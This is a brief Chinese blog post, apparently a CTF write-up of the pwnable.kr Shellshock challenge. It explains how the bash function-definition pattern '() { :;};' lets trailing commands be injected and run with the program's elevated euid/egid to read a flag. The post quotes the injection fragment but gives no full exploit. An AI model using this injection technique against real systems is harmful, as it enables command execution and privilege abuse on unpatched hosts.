这个代码相对较短啊,看题目是考察破壳漏洞(bash漏洞),今天有个推送有说


据说是这样的() { :;}; 被当做函数了,{:;};是空函数体,echo vulnerable是注入代码, bash的-c参数就是执行命令

试了一下,漏洞存在,注意是当前目录的bash


那么中间的代码我们就可以控制了,这里我们利用shellshock,因为这里设置了euid和egid


那么这个进程就有权限去读取flag了




参考:

http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html



本文链接:http://blog.csdn.net/u012763794/article/details/51992512

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值